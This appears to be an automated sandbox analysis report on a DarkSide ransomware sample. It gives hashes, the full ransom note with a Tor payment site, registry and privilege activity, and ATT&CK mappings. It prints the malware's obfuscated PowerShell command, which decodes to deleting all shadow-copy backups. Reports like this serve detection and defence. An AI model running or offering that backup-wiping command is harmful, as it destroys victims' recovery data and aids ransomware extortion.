darkside | a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d

General

Target

a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Size

30KB
MD5

4b63c4a60469d933cd76a31aae1892ae
SHA1

6d9eda625a918c06007fb58f010e4120490419a3
SHA256

a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d
SHA512

06beee2bbc68e082f80e2ff1fb54cb4833c6100308ff6dc737d05170432689dd9e4d8ff37ad831ae0d5170382c0110a5a711b9e8c53074bdcd688de866442131
SSDEEP

768:neIjgezsb2BTkZPM0qf/uR+G9D7H98hWR4rONNxLkyhSccdf:neim2oPM08/uR+c7dkY/fpcd

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\Users\Admin\README.b565854b.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside
Renames multiple (160) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\b565854b.BMP"	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\b565854b.BMP"	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe

Modifies Control Panel 1 IoCs

evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Control Panel\Desktop\WallpaperStyle = "10"	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\b565854b\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\b565854b.ico"	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.b565854b	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.b565854b\ = "b565854b"	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\b565854b\DefaultIcon	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\b565854b	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1164	powershell.exe
1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeSecurityPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeTakeOwnershipPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeLoadDriverPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeSystemProfilePrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeSystemtimePrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeProfSingleProcessPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeIncBasePriorityPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeCreatePagefilePrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeBackupPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeRestorePrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeShutdownPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeDebugPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeSystemEnvironmentPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeRemoteShutdownPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeUndockPrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeManageVolumePrivilege	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: 33	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: 34	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: 35	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
Token: SeDebugPrivilege	1164	powershell.exe
Token: SeBackupPrivilege	2780	vssvc.exe
Token: SeRestorePrivilege	2780	vssvc.exe
Token: SeAuditPrivilege	2780	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1704 wrote to memory of 1164	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe	29
PID 1704 wrote to memory of 1164	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe	29
PID 1704 wrote to memory of 1164	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe	29
PID 1704 wrote to memory of 1164	1704	a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe	29

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe
"C:\Users\Admin\AppData\Local\Temp\a09c5577e3d77448db6dba62bdb99e65e3128774616e20742105fdc31fff336d.exe"
1⤵
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1164

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Unsecured Credentials

1

T1552

Credentials In Files

1

T1552.001

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Defacement

1

T1491

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
342B

MD5
14f24227760ed99bd7c76bd08e0fd579

SHA1
a583439ff879aa1954cf7d180a7b21179ec8bc13

SHA256
b5312a5cc37b651bdd0f19d335e47f56d8d6badf490345a327935ecb0b53f874

SHA512
65871d612004d37d896c93025883f37d40b4490f563d62a42946ce372ce8152977d135767e572013d1fd5ad6b95e89db3a994b6e9801bababf6f929acdd2601f

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar93ED.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
e42ab2da2668d4e64814da64c57d15ca

SHA1
0018e47ad02383d77ef5a01ca8a068f0906cfe73

SHA256
458d9ae40ba298203d4fad77f0e13fc34bbf767aebca7673eaeac32127e04969

SHA512
2a102bef9d94ca6a0aaba0bed856bc34892c733943c7369140bdcd5c9618494da85ea34795cd886c156163763b622ac7ef102dc7808ba18e7624da7327e2b797

Download Submit
C:\Users\Admin\README.b565854b.TXT

Filesize
1KB

MD5
f418a249405444da33cc73b402a26306

SHA1
1a6c493e74036f93f0dae4b65e6c543c213ce418

SHA256
b348457b3cd38a91d113b0dfbf5bdf9d830b39f5ab849b126fff027534ef2e09

SHA512
b848dd2bb5654aac30d36279af1b9460b36c2df9c8f696d5349a870cd9be8b0aac203623c2025e8b32e646b0558ee27cf72e04db6aee3a2cd548d5c29575efaf

Download Submit
memory/1164-49-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1164-47-0x0000000002420000-0x0000000002428000-memory.dmp

Filesize
32KB

Download
memory/1164-48-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1164-50-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1164-51-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1164-52-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1164-53-0x000007FEF4C70000-0x000007FEF560D000-memory.dmp

Filesize
9.6MB

Download
memory/1164-46-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/1164-45-0x000007FEF4F2E000-0x000007FEF4F2F000-memory.dmp

Filesize
4KB

Download
memory/1704-0-0x0000000000110000-0x0000000000125000-memory.dmp

Filesize
84KB

Download
memory/1704-252-0x00000000000E0000-0x00000000000E4000-memory.dmp

Filesize
16KB

Download
memory/1704-2-0x00000000000E0000-0x00000000000E4000-memory.dmp

Filesize
16KB

Download

Analysis

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